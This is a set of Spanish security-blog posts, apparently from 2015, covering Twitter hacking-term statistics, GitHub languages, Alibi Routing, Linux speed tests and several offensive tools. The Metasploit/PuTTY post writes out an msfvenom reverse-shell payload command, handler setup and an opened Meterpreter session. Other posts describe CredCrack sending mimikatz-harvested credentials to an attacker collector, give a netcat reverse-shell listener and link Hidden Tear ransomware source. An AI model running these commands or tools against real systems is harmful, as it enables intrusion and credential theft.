Las 100 palabras más usadas en Twitter por hackers y entusiastas de la seguridad

Twitter no es evidentemente el lugar idóneo para que los hackers puedan discutir sobre sus asuntos manteniendo la privacidad, para eso están los IRCs (hola nostálgicos!), foros y otros canales cifrados. No obstante puede ser un medio perfecto para que la información fluya y se comparta.

¿Y de que es lo que más hablan los hackers y otros entusiastas de la seguridad informática en Twitter? Pues existe un portal llamado Topsy que recopila todos los tweets desde el año 2006, los busca y los analiza ofreciendo interesantes estadísticas. Mediante este portal hemos podido saber los términos y palabras que más nos suenan y más resuenan entre la comunidad entusiasta de la seguridad informática y también el "público" en general en el último mes, y los resultados son bastante interesantes.

Por ejemplo, este ha sido el mes del escándalo 'ashley madison' y así lo reflejan sus  casi 600.000 tweets registrados sólo desde el día 17 de agosto. Luego en los primeros puestos se sitúan términos generalistas que también tienen otros significados fuera del ámbito de la seguridad informática como 'code', 'community', 'attack', etc. y destacan algunos más específicos como 'password', 'virus', 'root', ...

Que cada uno saque sus propias conclusiones. Os dejo esta y otras listas (en inglés) por si queréis también satisfacer vuestra curiosidad:

Top 100 - hacking & security terms
2.9M code
2.1M community
2.3M attack
1.9M weak
1.8M security
1.5M network
1.7M fix
1.2M crack
805k steal
762k hack
614k analysis
607k threat
599k ashley madison
542k banned
533k bug
507k pirate
504k technical
451k password
428k virus
414k root

Los lenguajes de programación más usados en GitHub en 2015

La semana pasada GitHub publicó el siguiente gráfico con la evolución de la popularidad de los lenguajes de programación más utilizados en su plataforma:


Los resultados representan los lenguajes más usados en repositorios públicos y privados, excluyendo los forks (al menos los detectados). Como veis GitHub ha ganado mucho tirón entre la comunidad Java (del 7º al 2º puesto), probablemente debido a la popularidad de Android y al incremento de la demanda de servicios de control de versiones en empresas.


Módulo de Metasploit para enumerar las sesiones guardadas de PuTTY

Hoy en día en entornos corporativos se utiliza mayoritariamente estaciones de trabajo con Windows 7 y el cliente PuTTY para acceder por SSH a servidores Linux. Para nosotros los "malos" es capital poder obtener las credenciales que utilizan los usuarios para acceder a esas máquinas ya que, o bien son técnicos de sistemas y las usan para administrar toda o gran parte de la infraestructura, o bien son desarrolladores que suben el código fuente o incluso administran aplicaciones concretas.

Yes... the PuTTY CLUB exists...

Stufus ha desarrollado un módulo de post-explotación para Metasploit que extrae información *muy útil* de PuTTY y Pageant (el primo-agente SSH de PuTTY): enumera las sesiones guardadas y los fingerprints de confianza y obtiene las claves privadas. Yo he convencido a un amigo administrador que usa PuTTY para probar el módulo XD, así que vamos a ello...

Primero genero el payload, sin necesidad de hacerlo FuD, porque mi amigo lo va a ejecutar desactivando el AV previamente (gracias amigo):

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=80 -f exe > shell.exe

Luego pongo la oreja y espero plácidamente que llamen a la puerta:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.206.128
LHOST => 192.168.206.128
msf exploit(handler) > set LPORT 80
LPORT => 80
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.206.128:80 
[*] Starting the payload handler...
msf exploit(handler) > 

msf exploit(handler) > 
[*] Sending stage (885806 bytes) to 192.168.206.1
[*] Meterpreter session 1 opened (192.168.206.128:80 -> 192.168.206.1:15655) at 2015-08-26 11:22:02 -0400

20 exploits para PHP explicados (分析和测试代码)

Ya sabéis que PHP es un lenguaje de programación de propósito general ampliamente utilizado, que está especialmente indicado para el desarrollo web y puede ser embebido en páginas HTML. En Github he encontrado un interesante proyecto llamado PCH (Php Codz Hacking) que contiene 20 ejemplos con distintos fragmentos de código que nos llevan fácilmente al análisis fundamental de los problemas de seguridad más comunes en las aplicaciones que usan PHP. No os los perdáis pero, eso sí, sacar el traductor de chino a pasear:

Item Título
PCH-020 Use After Free Vulnerability in unserialize() with DateTime* [CVE-2015-0273]
PCH-019 Type Confusion Infoleak Vulnerability in unserialize() with DateTimeZone
PCH-018 PHP 脚本多字节字符解析模式带来的安全隐患
PCH-017 About PHP's unserialize() Function Use-After-Free Vulnerability
PCH-016 XSS via Error Reporting Notices in HHVM's unserialize() Function
PCH-015 Code Injection Vul via unserialize() & var_export() Function...
PCH-014 PHP WDDX Serializier Data Injection Vulnerability
PCH-013 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患
PCH-012 New feature of double-quoted string's complex-curly syntax
PCH-011 Destructor in PHP
PCH-010 PHP string序列化与反序列化语法解析不一致带来的安全隐患
PCH-009 Security risk of php string offset
PCH-008 parse_str的变量初始化问题
PCH-007 New Includes Function -- spl_autoload()
PCH-006 安全模式下exec等函数安全隐患[updata:2009-6-19]
PCH-005 当magic_quotes_gpc=off
PCH-004 关于magic_quotes_sybase
PCH-003 mb_ereg(i)_replace()代码注射漏洞及其延伸出的正则应用安全问题
PCH-002 preg_match(_all)的变量初始化问题
PCH-001 intval()使用不当导致安全漏洞

Alibi Routing: controla por dónde *no* pasan tus paquetes con enrutamiento punto a punto

En cualquier comunicación a través de Internet, como simples peticiones a sitios web o mensajes de correo electrónico, la información se divide en paquetes y se envía a través de una serie de routers hasta que llega a su destino. Los usuarios no podemos controlar por donde viajan estos paquetes y simplemente estamos indefensos ante la interceptación de nuestros datos por parte de gobiernos u otros. Ante la censura del tráfico de Internet, los enrutamientos "sospechosos" y el seguimiento de los datos de los usuarios poco podemos hacer... hasta ahora.

Varios investigadores de la Universidad de Maryland han desarrollado un sistema de enrutamiento punto a punto llamado Alibi Routing con el que los usuarios pueden controlar al menos por dónde NO deben viajar sus paquetes. Su funcionamiento es sencillo: el usuario especifica con quien se quiere comunicar (con el destino) y las regiones geográficas "prohibidas" a evitar. Luego el sistema busca usuarios "alibi" ("coartada" en inglés) en la red peer-to-peer que puedan restransmitir los paquetes del usuario demostrando que evitan las regiones señaladas.

He aquí un ejemplo de un usuario en Italia tratando de comunicarse con un servidor en Noruega, evitando Alemania:



Para evaluar su método, los investigadores simularon una red con 20.000 participantes y seleccionaron regiones prohibidas recogidas en el informe de 2012 "Enemigos de Internet" publicado por Reporteros sin Fronteras (China, Siria, Corea del Norte y Arabia Saudí), así como los tres países con mayor número de usuarios en Internet (Estados Unidos, China y Japón).


Más información en:
Fuente: https://alibi.cs.umd.edu/
Whitepaper: https://alibi.cs.umd.edu/papers/alibi_sigcomm15.pdf (SIGCOMM 2015)
Código (27 KB): Contiene el prototipo de la aplicación y el simulador. En el README tenéis las instrucciones para instalarlo y su funcionamiento.
Datos (16 MB): Contiene los datos necesarios para ejecutar el código anterior y recrear los experimentos del paper. Incluye información de topología (país polígonos).

Consigue las credenciales del administrador de dominio en tan sólo 17 segundos con CredCrack

CredCrack es un script en Python de Jonathan Broche (@g0jhonny) que podemos usar para enumerar los recursos compartidos y recopilar rápidamente las credenciales de los servidores Windows de una red. Podríamos decir que es silencioso en cuanto a que carga las credenciales en memoria sin escribir a disco, y que también puede ser bastante rápido; en el siguiente vídeo se obtienen las credenciales de administrador de dominio en tan sólo 17 segundos:

Básicamente su funcionamiento es el siguiente:

- Inicia automáticamente el servicio de apache y despliega dos archivos en el directorio /var/www: fun.ps1 y creds.php.
- Valida la lista de IPs para asegurarse de que se llega a cada una de ellas y que tienen el puerto 445 abierto.
- Si se ha especificado el parámetro '-es' enumerará los recursos compartidos: smbclient -L //{} -U '{}/{}%{}'
- Consulta la lista de administradores de dominio de los sistemas alcanzables: net group \"Domain Admins\" /domain
- Lanza el script en powershell fun.ps1 que ejecuta mimikatz en memoria con Invoke-Mimikatz.ps1 y luego envía las credenciales mediante una petición POST que creds.php intercepta.
- Continua recopilando las credenciales de todos los sistemas provistos y cruza los usuarios obtenidos con la lista de administradores de dominio que había obtenido anteriormente.
- Finalmente muestra los resultados y se cierra limpiamente.

Hidden Tear, nace el primer ransomware de código abierto

Ya tenemos aquí el primer ransomware de código abierto. Se trata de "Hidden Tear" y lo ha publicado en Github el grupo turco Utku Sen. ¿Os suena Cryptowall o Cryptolocker? Pues se trata del mismo tipo de malware: usa cifrado AES para inutilizar los ficheros de la víctima y muestra un mensaje para intentar que los usuarios afectados paguen por su rescate. Por supuesto no es tan avanzado pero sin duda resulta bastante académico.

En el momento de su lanzamiento el malware evadía la mayoría antivirus, evidentemente ya no. "Si bien esto puede ser útil para algunos, existen riesgos significativos. Hidden Tear sólo podrá utilizarse con fines educativos. No lo utilice como ransomware", comenta Sen.

También han publicado un vídeo con una demo en el que se demuestra cómo el ransomware puede cifrar y descifrar archivos dejando una nota en el escritorio de la víctima.

Por el momento, la publicación de este código (parece que bastante mejorable, por cierto) ha generado bastante controversia en la comunidad. Veremos si esta fórmula termina en un desarrollo y evolución significativa de esta herramienta y/o se trata de una piedra angular de una nueva familia de ransomwares de código abierto moldeados y evolucionados por una basta mayoría. 

Pero por el momento y como comentaban hoy en el blog... "estamos viviendo los mejores momentos de la seguridad informatica ;)"

script kiddies' orgasm. part I

Hidden Tear: https://github.com/utkusen/hidden-tear

Cheat sheet de shell inversos (reverse shells)

Si tienes la suerte de encontrar una vulnerabilidad de ejecución remota de comandos (rce), seguro que querrás conectarse de nuevo a tu máquina atacante para usar un shell interactivo.
En el blog highon.coffee presentan una buena colección de shells inversos que podrás usar con los lenguajes de programación o los binarios instalados más comunes (nc, telnet, bash, etc).

Lo primero que debemos hacer es levantar un listener en la máquina atacante (a donde se conectará el shell inverso) en un puerto de salida que normalmente permiten los firewalls, por ejemplo el 80 o el 443.

root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...

Comandos en Linux para probar la velocidad de la línea de Internet

En algunas ocasiones necesitamos hacer pruebas de velocidad e incluso saturar nuestra línea de acceso a Internet para verificar que realmente podemos alcanzar el caudal contratado. Cuando esto ocurre muchas veces no disponemos de otro host remoto detrás de otra línea WAN y acabamos recurriendo a servidores FTP públicos que creemos que tienen buen ancho de banda, a mega.co.nz y hasta la Santísima Trinidad (incluso he visto usar clientes torrent y pensar en usar botnets!).

En esta entrada os voy a listar una serie de comandos para que los podáis copiar y pegar directamente en vuestro terminal y, simplemente desde vuestro equipo Linux (sin tienes dos mejor), podáis conseguir unas pruebas de benchmarking realmente impresionantes, sólo con iperf, wget, curl y poco más. Por supuesto también puedes currarte un sencillo script en shell para impresionar a tu jefe, o meter un while para petar una línea (cuidado con las que estén en producción).

Así que, al menos que quieras aprovechar para bajarte una serie desde la oficina, os recomiendo usar estos comandos contra estos servidores públicos de pruebas disponibles en Internet (por favor, si conoces más servidores públicos no dudes en comentar esta entrada):


Verificar IP pública
Muy útil para previamente asegurarnos qué línea vamos a comprobar.

Espectacular vídeo de un águila derribando un dron

La naturaleza revolviéndose contra la tecnología invasiva... Espectacular captura de Melbourne Aerial Video en el que se aprecia como un águila derriba un dron aéreo. No os lo perdáis: